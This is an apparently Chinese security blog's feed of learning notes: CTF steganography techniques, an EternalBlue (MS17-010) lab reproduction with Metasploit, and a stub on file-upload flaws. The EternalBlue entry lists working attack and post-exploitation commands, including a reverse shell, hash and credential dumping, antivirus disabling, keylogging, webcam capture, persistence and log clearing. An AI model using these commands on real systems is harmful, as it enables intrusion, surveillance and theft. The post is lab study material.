v4</td></tr><tr><td>XLS</td><td>D0 CF 11</td><td></td></tr><tr><td>xls</td><td>D0 CF 11 E0</td><td>MS Excel</td></tr><tr><td>xls</td><td>[512 byte offset]  09 08 10 00 00 06 05 00</td><td>Excel spreadsheet subheader (MS Office)</td></tr><tr><td>XML</td><td>3C 3F 78</td><td></td></tr><tr><td>xml</td><td>3C 3F 78 6D 6C</td><td>XML Document</td></tr><tr><td>xml</td><td>FF FE 3C 00 52 00 4F 00 4F 00 54 00 53 00 54 00 55 00  42 00</td><td>XML Document (ROOTSTUB)</td></tr><tr><td>XMV</td><td>00 50 01</td><td></td></tr><tr><td>XSL</td><td>FF FE 3C</td><td></td></tr><tr><td>xul</td><td>72 73 69 6F 6E 3D 22 31 3C 3F 78 6D 6C 20 76 65 2E  30 22 3F 3E</td><td>XML User Interface Language file</td></tr><tr><td>z</td><td>1F 9D</td><td>TAR Compressed Archive File</td></tr><tr><td>Z</td><td>1F 9D 8C</td><td></td></tr><tr><td>ZIP</td><td>50 4B 03</td><td></td></tr><tr><td>zip; jar; zipx</td><td>50 4B 03 04</td><td>ZIP Archive</td></tr><tr><td>zip</td><td>50 4B 30 30</td><td>ZIP Archive (outdated)</td></tr><tr><td>Zip</td><td>50 4B 30 30 50 4B 03 04</td><td>WINZIP Compressed</td></tr><tr><td>zoo</td><td>5A 4F 4F 20</td><td>ZOO Archive File</td></tr></tbody></table></div>]]></content>
    
    
    <summary type="html">CTF隐写术（Steganography）文件隐写的常用方法总结</summary>
    
    
    
    <category term="学习笔记" scheme="https://blog.anineg.space/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="隐写" scheme="https://blog.anineg.space/tags/%E9%9A%90%E5%86%99/"/>
    
  </entry>
  
  <entry>
    <title>CTF隐写术(图片隐写)</title>
    <link href="https://blog.anineg.space/2022/06/25/yinxie1/"/>
    <id>https://blog.anineg.space/2022/06/25/yinxie1/</id>
    <published>2022-06-25T00:22:06.000Z</published>
    <updated>2022-07-25T13:31:38.363Z</updated>
    
    <content type="html"><![CDATA[<h2 id="附加式的图片隐写："><a href="#附加式的图片隐写：" class="headerlink" title="附加式的图片隐写："></a>附加式的图片隐写：</h2><h3 id="字符串方式："><a href="#字符串方式：" class="headerlink" title="字符串方式："></a>字符串方式：</h3><p>字符串附加在文件的后面是因为，如果图片附加在中间，可能破坏图片的信息；如果附加在图片的头部位置，又破坏了文件头。基于此点，也可以使用16进制编辑器找到这一串字符串。</p><div class="note success flat"><p>分离方法：</p></div><ul><li>strings分离：</li></ul><p><code>-a --all</code>：扫描整个文件而不是只扫描目标文件初始化和装载段</p><p><code>-f –print-file-name</code>：在显示字符串前先显示文件名</p><p><code>-t --radix={o,d,x}</code>：输出字符的位置，基于八进制，十进制或者十六进制</p><p><code>-e --encoding={s,S,b,l,B,L}</code>：选择字符大小和排列顺序:s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit</p><p>分离命令：（cmd）</p><p><code>strings xxx.jpg</code></p><p><img src="https://img.anineg.space/clip_image002.jpg" alt="img"></p><p>使用WinHex查看图片源码或查看图片属性。</p><p><img src="https://img.anineg.space/clip_image001.png" alt="img"></p><p><img src="https://img.anineg.space/24287763980e488e50bc02d0c124f50.jpg" alt="24287763980e488e50bc02d0c124f50"></p><h3 id="图种方式："><a href="#图种方式：" class="headerlink" title="图种方式："></a>图种方式：</h3><h4 id="图片后缀："><a href="#图片后缀：" class="headerlink" title="图片后缀："></a><strong>图片后缀：</strong></h4><p>将图片后缀名改为<code>.zip\rar\7z</code>等压缩格式后打开。</p><h4 id="图片拼接："><a href="#图片拼接：" class="headerlink" title="图片拼接："></a><strong>图片拼接：</strong></h4><p>以cmd命令行<code>copy /b 1.jpg+2.jpg 3.jgp</code> 以二进制方式连接两个图片。</p><p><img src="https://img.anineg.space/df4032ac69627c834b2d9787cbda5ab.jpg" alt="df4032ac69627c834b2d9787cbda5ab"></p><div class="note default flat"><p>分析方法：</p></div><p>使用binwalk工具分析图片，可以发现从35786块偏移开始有另一张jpg图片。（win下安装binwalk：<code>python setup.py install</code>）：</p><p><code>C:\Python27\Scripts&gt;python binwalk 3.jpg</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220725084840.png" alt="QQ截图20220725084840"></p><div class="note success flat"><p>分离方法：</p></div><ul><li>一是使用WinHex分离：</li></ul><p>jpg格式文件开始的2字节是FF D8，之后2个字节是FF E0 ，最后2个字节是图像文件结束标记为FF D9 。我们打开3.jpg，<kbd>Alt</kbd>+<kbd>A</kbd>全选图片16进制数值，菜单—搜索—十六进制数值—填入FFD8—取消统计次数—勾选列出搜索结果，定位到第二个FFD8处（或使用Alt+G快捷键定位到35786处），使用<kbd>Alt</kbd>+<kbd>1</kbd>快捷键选取FF为开始块，<kbd>Alt</kbd>+<kbd>2</kbd>选取D9为结束块，然后右键—Edit—Copy Block—Into New File保存.jpg后缀的文件。得到隐藏图片：</p><p><img src="https://img.anineg.space/34921ef294be4074adb6d8f139f2450.jpg" alt="34921ef294be4074adb6d8f139f2450"></p><ul><li>二是使用foremost分离:</li></ul><p>foremost是一个基于文件文件头和尾部信息以及文件的内建数据结构恢复文件的命令行工具。 </p><p>分离命令：</p><p><code>foremost xxx.jpg</code></p><p>会自动生成output目录存放分离出文件。</p><h4 id="文件拼接："><a href="#文件拼接：" class="headerlink" title="文件拼接："></a><strong>文件拼接：</strong></h4><p>使用命令 <code>copy /b 1.jpg + 1.zip 2.jpg</code>，利用copy命令将两个文件以二进制方式连接起来。在jpg中结束符是FF D9，图片查看器会忽视jpg结束符之后的内容，所以附加的zip不会影响到图像的正常显示。</p><div class="note success flat"><p>分离方法：</p></div><ul><li>一是使用WinHex分离：</li></ul><p>50 4B 03 04就是ZIP文件的文件头，一般以PK表示。</p><p><img src="https://img.anineg.space/d7ccba40dff1ba6fe347504f70188d0.jpg" alt="d7ccba40dff1ba6fe347504f70188d0"></p><p>选取以50开头以及到末尾的的数据，右键单击，选择编辑，复制选块到新文件，保存新文件为zip格式命名规则即可。</p><p><img src="https://img.anineg.space/21482f0d7a82c9f1b67906676e4c20c.jpg" alt="21482f0d7a82c9f1b67906676e4c20c"></p><ul><li>二是使用foremost分离:</li></ul><p>具体操作同上。</p><p><img src="https://img.anineg.space/f91fe3f0dde2371b77916171ce9cd04.jpg" alt="f91fe3f0dde2371b77916171ce9cd04"></p><h2 id="基于文件结构的图片隐写："><a href="#基于文件结构的图片隐写：" class="headerlink" title="基于文件结构的图片隐写："></a><strong>基于文件结构的图片隐写：</strong></h2><h3 id="PNG图片结构："><a href="#PNG图片结构：" class="headerlink" title="PNG图片结构："></a>PNG图片结构：</h3><p>标准的PNG文件结构包括：PNG文件标识和PNG数据块。<br> PNG图片文件结构：</p><ul><li><p>（固定）8字节89 50 4E 47 0D 0A 1A 0A为png文件头；</p></li><li><p>（固定）4字节00 00 00 0D（即十进制的13）代表数据块的长度为13；</p></li><li><p>（固定）4字节49 48 44 52（即为ASCII码的IHDR）是文件头数据块的标识（IDCH）；</p></li><li><p>（可变）13位数据块（IHDR)</p><ul><li><p>前四个字节代表该图片的宽</p></li><li><p>后四个字节代表该图片的高</p></li><li><p>后五个字节依次为：</p><p>Bit depth、ColorType、Compression method、Filter method、Interlace method</p></li></ul></li><li><p>（可变）剩余四字节为该png的CRC检验码，由从IDCH到IHDR的十七位字节进行crc计算得到。</p><p>PNG图片文件头数据块（IHDR）包括：宽、高、图像深度、颜色类型、压缩方法等（图中蓝色的部分即IHDR数据块）。</p></li></ul><p><img src="https://img.anineg.space/89072cd3f4721309420f26c5c7533bd.jpg" alt="89072cd3f4721309420f26c5c7533bd"></p><h3 id="修改高度隐写："><a href="#修改高度隐写：" class="headerlink" title="修改高度隐写："></a>修改高度隐写：</h3><p>先用TweakPNG打开图片，一般修改过长宽的图片都会报错。</p><p><img src="https://img.anineg.space/949de65f4ff87fbd366de838431daf7.jpg" alt="949de65f4ff87fbd366de838431daf7"></p><p>找到PNG图片高度值所对应的位置，并修改为一个较大的值，尝试打开。</p><p><img src="https://img.anineg.space/9f890ebd638fd22da6d2b7be6882317.jpg" alt="9f890ebd638fd22da6d2b7be6882317"></p><p><img src="https://img.anineg.space/bb43ce097549bc9b01e09186dff2251.jpg" alt="bb43ce097549bc9b01e09186dff2251"></p><p>修改01 00为02 00，并保存后打开。</p><p><img src="https://img.anineg.space/2288734b6f6c69f29825cbb15cf37f9.jpg" alt="2288734b6f6c69f29825cbb15cf37f9"></p><p>修改宽高之后的PNG图片可能打不开，需要修复PNG图片的CRC校验值。</p><p>方法：</p><p>选中PNG的struct IHDR Ihdr部分(图中蓝色部分)，使用CRC Calculator重新计算CRC校验值。</p><p><img src="https://img.anineg.space/1e285f2630640e2b39434b522daff1a.jpg" alt="1e285f2630640e2b39434b522daff1a"></p><p><img src="https://img.anineg.space/19bb5406ba211bb5aa4d62695ddeebf.jpg" alt="19bb5406ba211bb5aa4d62695ddeebf"></p><p>将struct IHDR Ihdr的CRC（图中蓝色部分）修改为重新计算过的CRC。</p><p><img src="https://img.anineg.space/cf44a728561676addc2df8254671312.jpg" alt="cf44a728561676addc2df8254671312"></p><p>再用TweakPNG打开图片不报错，修复成功。</p><h3 id="IDAT块的隐写："><a href="#IDAT块的隐写：" class="headerlink" title="IDAT块的隐写："></a>IDAT块的隐写：</h3><p>PNGCheck可以验证PNG图片的完整性（通过检查内部CRC-32校验和&amp;bra;比特&amp;ket;)和解压缩图像数据，它能够转储几乎所有任选的块级别信息在该图像中的可读数据。</p><p>查询命令：</p><p><code>pngcheck -v xxx.png</code></p><p><img src="https://img.anineg.space/88317a599a93fe7609d1067d860301f.jpg" alt="88317a599a93fe7609d1067d860301f"></p><h2 id="基于LSB原理的图片隐写："><a href="#基于LSB原理的图片隐写：" class="headerlink" title="基于LSB原理的图片隐写："></a><strong>基于LSB原理的图片隐写：</strong></h2><h3 id="简单的LSB隐写："><a href="#简单的LSB隐写：" class="headerlink" title="简单的LSB隐写："></a><strong>简单的LSB隐写：</strong></h3><p>利用LSB（最低有效位 (Least Significant Bit)来进行隐写。例如在PNG图片的储存中，每个颜色会有8bit，LSB隐写就是修改了像数中的最低的1bit，人眼无法区别。例如我们想把A隐藏进来的话，可以把A转成16进制的0x61再转成二进制的01100001，再修改为红色通道的最低位为这些二进制串。</p><div class="note success flat"><p>分离方法：</p></div><ul><li>Stegsolve分离：</li></ul><p>使用Stegsolve—Analyse—Frame Browser，可以浏览三个颜色通道中的每一位。</p><p><img src="https://img.anineg.space/beb6ede00c628a88f332085e2c88a53.jpg" alt="beb6ede00c628a88f332085e2c88a53"></p><div class="note info flat"><p>此种隐写的载体一般为png或bmp格式，jpg的有损压缩方式会破坏隐写的内容。</p></div><h2 id="基于DCT域的JPG图片隐写："><a href="#基于DCT域的JPG图片隐写：" class="headerlink" title="基于DCT域的JPG图片隐写："></a><strong>基于DCT域的JPG图片隐写：</strong></h2><h3 id="背景知识："><a href="#背景知识：" class="headerlink" title="背景知识："></a>背景知识：</h3><p>JPEG图像格式使用离散余弦变换（Discrete Cosine Transform，DCT）函数来压缩图像，而这个图像压缩方法的核心是：通过识别每个8×8像素块中相邻像素中的重复像素来减少显示图像所需的位数，并使用近似估算法降低其冗余度。因此，我们可以把DCT看作一个用于执行压缩的近似计算方法。</p><p>因为丢失了部分数据，所以DCT是一种有损压缩（Loss Compression）技术，但一般不会影响图像的视觉效果。</p><p>在这个隐写家族中，常见的隐写方法有JSteg、JPHide、Outguess、F5等等，分离方法为Stegdetect。</p><h3 id="Stegdetect简介："><a href="#Stegdetect简介：" class="headerlink" title="Stegdetect简介："></a>Stegdetect简介：</h3><p>Stegdetect可以检测到通过JSteg、JPHide、OutGuess、Invisible Secrets、F5、appendX和Camouflage等这些隐写工具隐藏的信息，并且还具有基于字典暴力破解密码方法提取通过Jphide、outguess和jsteg-shell方式嵌入的隐藏信息。</p><p>Stegdetect参数：</p><ul><li>-q 仅显示可能包含隐藏内容的图像。</li><li>-n 启用检查JPEG文件头功能，以降低误报率。如果启用，所有带有批注区域的文件将被视为没有被嵌入信息。如果JPEG文件的JFIF标识符中的版本号不是1.1，则禁用OutGuess检测。</li><li>-s 修改检测算法的敏感度，该值的默认值为1。检测结果的匹配度与检测算法的敏感度成正比，算法敏感度的值越大，检测出的可疑文件包含敏感信息的可能性越大。</li><li>-d 打印带行号的调试信息。</li><li>-t 设置要检测哪些隐写工具（默认检测jopi），可设置的选项如下：<ul><li>j 检测图像中的信息是否是用jsteg嵌入的。</li><li>o 检测图像中的信息是否是用outguess嵌入的。</li><li>p 检测图像中的信息是否是用jphide嵌入的。</li><li>i 检测图像中的信息是否是用invisible secrets嵌入的。</li></ul></li><li>-V 显示软件版本号。</li></ul><p>Stegdetect会在检测结果后面使用1～3颗星来标识隐藏信息存在的可能性大小，3颗星表示隐藏信息存在的可能性最大。</p><p>Stegdetect命令（cmd）：</p><p><code>stegdetect.exe -tjopi -s 100.0 xxx.jpg</code></p><h3 id="JPHS提取："><a href="#JPHS提取：" class="headerlink" title="JPHS提取："></a>JPHS提取：</h3><p>使用Stegdetect探测jpg隐藏种类。</p><p><img src="https://img.anineg.space/797a9f47e0df8be20bc3afbbaa2af9c.jpg" alt="797a9f47e0df8be20bc3afbbaa2af9c"></p><p>使用JPHS打开图片，点击Seek功能，会弹出一个密码的输入框，这里默认为空口令，点击OK，将提取出来的信息保存为flag.txt。</p><p><img src="https://img.anineg.space/24de8d824f7babbfbe3af26f1480d30.jpg" alt="24de8d824f7babbfbe3af26f1480d30"></p><h3 id="Outguess提取："><a href="#Outguess提取：" class="headerlink" title="Outguess提取："></a>Outguess提取：</h3><p>使用Stegdetect探测jpg隐藏种类。</p><p><img src="https://img.anineg.space/8e07335b18d8141a78d98a3daf658f3.jpg" alt="8e07335b18d8141a78d98a3daf658f3"></p><p>点击Enter key功能，输入密码，这里我隐写的时候，使用的密码是123456</p><p>点击Load image 加载目标图片</p><p>点击Extract file功能，将提取出来的信息保存成flag.txt文件。</p><p><img src="https://img.anineg.space/3c22b301752d18da5b49d16e6c7e3b3.jpg" alt="3c22b301752d18da5b49d16e6c7e3b3"></p><h2 id="数字水印的隐写："><a href="#数字水印的隐写：" class="headerlink" title="数字水印的隐写："></a><strong>数字水印的隐写：</strong></h2><h3 id="背景知识：-1"><a href="#背景知识：-1" class="headerlink" title="背景知识："></a>背景知识：</h3><h4 id="数字水印："><a href="#数字水印：" class="headerlink" title="数字水印："></a>数字水印：</h4><p>数字水印（digital watermark）技术，是指在数字化的数据内容中嵌入不明显的记号。</p><p>特征是，被嵌入的记号通常是不可见或不可察的，但是可以通过计算操作检测或者提取。</p><h4 id="盲水印与傅里叶变换："><a href="#盲水印与傅里叶变换：" class="headerlink" title="盲水印与傅里叶变换："></a>盲水印与傅里叶变换：</h4><p>盲水印，是指人感知不到的水印，包括看不到或听不见（没错，数字盲水印也能够用于音频）。其主要应用于音像作品、数字图书等，目的是，在不破坏原始作品的情况下，实现版权的防护与追踪。</p><p>对图像进行傅里叶变换，起始是一个二维离散傅里叶变换，图像的频率是指图像灰度变换的强烈程度，将二维图像由空间域变为频域后，图像上的每个点的值都变成了复数，也就是所谓的复频域，通过复数的实部和虚部，可以计算出幅值和相位，计算幅值即对复数取模值，将取模值后的矩阵显示出来，即为其频谱图。但是问题来了，复数取模后，数字有可能变的很大，远大于255，如果数据超过255，则在显示图像的时候会都当做255来处理，图像就成了全白色。因此，一般会对模值再取对数，在在0~255的范围内进行归一化，这样才能够准确的反映到图像上，发现数据之间的差别，区分高频和低频分量，这也是进行傅里叶变换的意义。</p><h3 id="2-频域盲水印隐写："><a href="#2-频域盲水印隐写：" class="headerlink" title="2. 频域盲水印隐写："></a><strong>2.</strong> <strong>频域盲水印隐写：</strong></h3><div class="note success flat"><p>分离方法：</p></div><ul><li>Blind-watermark（python 2.7）：</li></ul><p>分离水印命令：</p><p><code>python decode.py --original &lt;original image file&gt; --image &lt;image file&gt; --result &lt;result file&gt;</code></p><p>添加水印命令：</p><p><code>python encode.py --image &lt;image file&gt; --watermark &lt;watermark file&gt; --result &lt;result file&gt;</code></p><p><img src="https://img.anineg.space/4a35bce354a1b54e2def8672c497efc.jpg" alt="4a35bce354a1b54e2def8672c497efc"></p><h2 id="图片容差隐写："><a href="#图片容差隐写：" class="headerlink" title="图片容差隐写："></a><strong>图片容差隐写：</strong></h2><h3 id="背景知识：-2"><a href="#背景知识：-2" class="headerlink" title="背景知识："></a>背景知识：</h3><p>容差，在选取颜色时所设置的选取范围，容差越大，选取的范围也越大，其数值是在0-255之间。</p><h3 id="容差比较的隐写："><a href="#容差比较的隐写：" class="headerlink" title="容差比较的隐写："></a>容差比较的隐写：</h3><p></p><div class="note success flat"><p>分离方法：</p></div>beyond compare分离：<p></p><p>操作步骤：</p><p>打开工具，选择图片比较，导入example_1.jpg和example_2.jpg。</p><p><img src="https://img.anineg.space/15cdf2bf138ae65a0416733d2bc2ed1.jpg" alt="15cdf2bf138ae65a0416733d2bc2ed1"></p><p>选择容差模式，并调整容差大小</p><p><img src="https://img.anineg.space/a48145f9f1a24a8ddf98c92c2082b59.jpg" alt="a48145f9f1a24a8ddf98c92c2082b59"></p><h2 id="二维码隐写："><a href="#二维码隐写：" class="headerlink" title="二维码隐写："></a>二维码隐写：</h2><h3 id="QR-Research解码："><a href="#QR-Research解码：" class="headerlink" title="QR Research解码："></a>QR Research解码：</h3><p>使用QR Research读取二维码中的信息。</p><p><img src="https://img.anineg.space/e10d4e28da69762f1350da850be6e46.jpg" alt="e10d4e28da69762f1350da850be6e46"></p><h3 id="python脚本生成二维码："><a href="#python脚本生成二维码：" class="headerlink" title="python脚本生成二维码："></a><strong>python脚本生成二维码：</strong></h3><p>使用python脚本，10组合的将字符串解码成flag.png。</p><p><img src="https://img.anineg.space/268f9fbc4e20e973c0c2e594c4d04a5.jpg" alt="268f9fbc4e20e973c0c2e594c4d04a5"></p>]]></content>
    
    
    <summary type="html">CTF隐写术（Steganography） 图片隐写常用方法总结</summary>
    
    
    
    <category term="学习笔记" scheme="https://blog.anineg.space/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="隐写" scheme="https://blog.anineg.space/tags/%E9%9A%90%E5%86%99/"/>
    
  </entry>
  
  <entry>
    <title>《拒绝校园贷》——大学生心理微电影</title>
    <link href="https://blog.anineg.space/2022/05/01/weidianying/"/>
    <id>https://blog.anineg.space/2022/05/01/weidianying/</id>
    <published>2022-05-01T13:29:58.000Z</published>
    <updated>2022-08-07T02:22:30.581Z</updated>
    
    <content type="html"><![CDATA[<div class="tip "><p>Tips：如有背景音乐自动播放，可以在左下角弹窗内关闭。</p></div><div align="center" class="aspect-ratio">    <iframe src="https://player.bilibili.com/player.html?aid=853713641&amp;&amp;page=1&amp;as_wide=1&amp;high_quality=1&amp;danmaku=0" scrolling="yes" border="0" frameborder="no" framespacing="0" high_quality="1" danmaku="1" allowfullscreen="true">     </iframe></div>]]></content>
    
    
      
      
    <summary type="html">&lt;div class=&quot;tip &quot;&gt;&lt;p&gt;Tips：如有背景音乐自动播放，可以在左下角弹窗内关闭。&lt;/p&gt;
&lt;/div&gt;
&lt;div align=&quot;center&quot; class=&quot;aspect-ratio&quot;&gt;
    &lt;iframe src=&quot;https://player.bilib</summary>
      
    
    
    
    <category term="视频" scheme="https://blog.anineg.space/categories/%E8%A7%86%E9%A2%91/"/>
    
    
    <category term="bilibili" scheme="https://blog.anineg.space/tags/bilibili/"/>
    
  </entry>
  
  <entry>
    <title>永恒之蓝漏洞复现</title>
    <link href="https://blog.anineg.space/2022/04/21/eternalblue/"/>
    <id>https://blog.anineg.space/2022/04/21/eternalblue/</id>
    <published>2022-04-21T10:56:47.000Z</published>
    <updated>2024-05-06T09:33:28.470Z</updated>
    
    <content type="html"><![CDATA[<h1>漏洞描述：</h1><p>Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞，恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。</p><h1>影响版本：</h1><p>目前已知受影响的Windows 版本包括但不限于：WindowsNT，Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。</p><h1>复现环境：</h1><p>攻击机：Linux Kali （192.168.8.242）</p><p>靶机：Windows7 x64 （192.168.8.172）</p><h1>复现过程：</h1><h2 id="主机发现">主机发现</h2><p>用nmap探测本网段存活主机 <code>nmap 192.168.8.17</code></p><p>探测到存活主机ip，并探测到开放445端口，而永恒之蓝利用的就是445端口的smb服务，操作系统溢出漏洞。</p><h2 id="进入MSF框架">进入MSF框架</h2><p>执行<code>msfconsole</code></p><p><img src="https://img.anineg.space/2.png" alt="2"></p><p>ms17-010代码 msf6 &gt; <code>search ms17_010</code></p><p><img src="https://img.anineg.space/3.png" alt="3"></p><p>在这里可以看到两个工具，其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞，exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码，前者扫描漏洞，后者进行攻击。</p><h2 id="使用ms17-010扫描模块">使用ms17-010扫描模块</h2><p>msf6 &gt; <code>use auxiliary/scanner/smb/smb_ms17_010</code></p><p>查看模块需要配置的参数  <code>show options  </code></p><p><img src="https://img.anineg.space/4.png" alt="4"></p><p>在Required一栏中显示yes的需要填写Current Setting项</p><p>如 <code>set rhosts 192.168.8.172</code></p><p>执行扫描 <code>run</code></p><p><img src="https://img.anineg.space/5.png" alt="5"></p><p>显示可能存有永恒之蓝漏洞。</p><h2 id="使用ms17-010攻击模块">使用ms17-010攻击模块</h2><p>msf6 &gt; <code>use exploit/windows/smb/ms17_010_eternalblue</code></p><p>查看模块需要配置的参数  <code>show options  </code></p><p><img src="https://img.anineg.space/6.png" alt="6"></p><p>同理，设置目标IP ：<code>set rhosts 192.168.8.172</code></p><p>设置用于接收从目标机弹回来的shell：<code>set  LHOST 192.168.1.11</code></p><p>执行攻击 <code>run</code></p><p><img src="https://img.anineg.space/7.png" alt="7"></p><center>攻击成功！</center><hr><h2 id="后渗透阶段">后渗透阶段</h2><p>使用<code>shell</code>可以进入被攻击机的Windows shell，但会有乱码。使用<code>chcp 65001</code>，改变代码页（65001为UTF-8的代码页）即恢复正常。</p><p><img src="https://img.anineg.space/8.png" alt="8"></p><p>使用<code>screenshot</code>进行截屏</p><p><img src="https://img.anineg.space/9.png" alt="9"></p><p>想从目标主机shell退出到 meterpreter ，输入：<code>exit</code></p><p>要想从 meterpreter 退出到MSF框架，输入：<code>background</code></p><h2 id="更多操作">更多操作</h2><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">sysinfo             #查看目标主机系统信息</span><br><span class="line">run scraper         #查看目标主机详细信息</span><br><span class="line">run hashdump        #导出密码的哈希</span><br><span class="line">load kiwi           #加载</span><br><span class="line">ps                  #查看目标主机进程信息</span><br><span class="line">pwd                 #查看目标当前目录(windows)</span><br><span class="line">getlwd              #查看目标当前目录(Linux)</span><br><span class="line">search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件</span><br><span class="line">download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下</span><br><span class="line">upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程</span><br><span class="line">PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上</span><br><span class="line">idletime            #查看主机运行时间</span><br><span class="line">getuid              #查看获取的当前权限</span><br><span class="line">getsystem           #提权</span><br><span class="line">run  killav         #关闭杀毒软件</span><br><span class="line">screenshot          #截图</span><br><span class="line">webcam_list         #查看目标主机的摄像头</span><br><span class="line">webcam_snap         #拍照</span><br><span class="line">webcam_stream       #开视频</span><br><span class="line">execute  参数  -f 可执行文件   #执行可执行程序</span><br><span class="line">run getgui -u hack -p 123    #创建hack用户，密码为123</span><br><span class="line">run getgui -e                #开启远程桌面</span><br><span class="line">keyscan_start                #开启键盘记录功能</span><br><span class="line">keyscan_dump                 #显示捕捉到的键盘记录信息</span><br><span class="line">keyscan_stop                 #停止键盘记录功能</span><br><span class="line">uictl  disable  keyboard     #禁止目标使用键盘</span><br><span class="line">uictl  enable   keyboard     #允许目标使用键盘</span><br><span class="line">uictl  disable  mouse        #禁止目标使用鼠标</span><br><span class="line">uictl  enable   mouse        #允许目标使用鼠标</span><br><span class="line">load                         #使用扩展库</span><br><span class="line">run             #使用扩展库</span><br><span class="line">run persistence -X -i 5 -p 8888 -r 192.168.10.27        #反弹时间间隔是5s 会自动连接</span><br><span class="line">                                   192.168.27的4444端口，缺点是容易被杀毒软件查杀</span><br><span class="line">portfwd add -l 3389 -r 192.168.11.13 -p 3389     #将192.168.11.13的3389端口转发到本地的3389端口上，这里的192.168.11.13是获取权限的主机的ip地址</span><br><span class="line">clearev                       #清除日志</span><br></pre></td></tr></tbody></table></figure><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">run post/windows/manage/migrate                  #自动进程迁移     </span><br><span class="line">run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     </span><br><span class="line">run post/windows/manage/killav                   #关闭杀毒软件     </span><br><span class="line">run post/windows/manage/enable_rdp               #开启远程桌面服务     </span><br><span class="line">run post/windows/manage/autoroute                #查看路由信息     </span><br><span class="line">run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     </span><br><span class="line">run post/windows/gather/enum_applications        #列举应用程序     </span><br><span class="line">run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     </span><br><span class="line">run windows/gather/smart_hashdump                #dump出所有用户的hash</span><br></pre></td></tr></tbody></table></figure>]]></content>
    
    
    <summary type="html">记录一次漏洞复现，17年的WannaCry就是利用Windows操作系统445端口存在的漏洞进行传播</summary>
    
    
    
    <category term="学习笔记" scheme="https://blog.anineg.space/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="靶机" scheme="https://blog.anineg.space/tags/%E9%9D%B6%E6%9C%BA/"/>
    
    <category term="渗透" scheme="https://blog.anineg.space/tags/%E6%B8%97%E9%80%8F/"/>
    
    <category term="漏洞复现" scheme="https://blog.anineg.space/tags/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
    
  </entry>
  
  <entry>
    <title>文件上传漏洞</title>
    <link href="https://blog.anineg.space/2022/03/25/upload/"/>
    <id>https://blog.anineg.space/2022/03/25/upload/</id>
    <published>2022-03-25T10:20:40.000Z</published>
    <updated>2022-04-26T12:33:51.944Z</updated>
    
    <content type="html"><![CDATA[<h1 id="什么是文件上传漏洞"><a href="#什么是文件上传漏洞" class="headerlink" title="什么是文件上传漏洞"></a>什么是文件上传漏洞</h1><p>文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。</p><h1 id="前端JS过滤绕过"><a href="#前端JS过滤绕过" class="headerlink" title="前端JS过滤绕过"></a>前端JS过滤绕过</h1><h1 id="文件名过滤绕过"><a href="#文件名过滤绕过" class="headerlink" title="文件名过滤绕过"></a>文件名过滤绕过</h1><h1 id="Content-Type过滤绕过"><a href="#Content-Type过滤绕过" class="headerlink" title="Content-Type过滤绕过"></a>Content-Type过滤绕过</h1><h1 id="文件头过滤绕过"><a href="#文件头过滤绕过" class="headerlink" title="文件头过滤绕过"></a>文件头过滤绕过</h1><h1 id="htaccess文件上传"><a href="#htaccess文件上传" class="headerlink" title=".htaccess文件上传"></a>.htaccess文件上传</h1><h1 id="文件截断上传"><a href="#文件截断上传" class="headerlink" title="文件截断上传"></a>文件截断上传</h1><h1 id="竞争条件文件上传"><a href="#竞争条件文件上传" class="headerlink" title="竞争条件文件上传"></a>竞争条件文件上传</h1>]]></content>
    
    
    <summary type="html">文件上传漏洞：如果服务器的处理逻辑做的不够安全，会导致严重的后果。</summary>
    
    
    
    <category term="学习笔记" scheme="https://blog.anineg.space/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>随机背景API接口整理</title>
    <link href="https://blog.anineg.space/2022/03/20/backgroundAPI/"/>
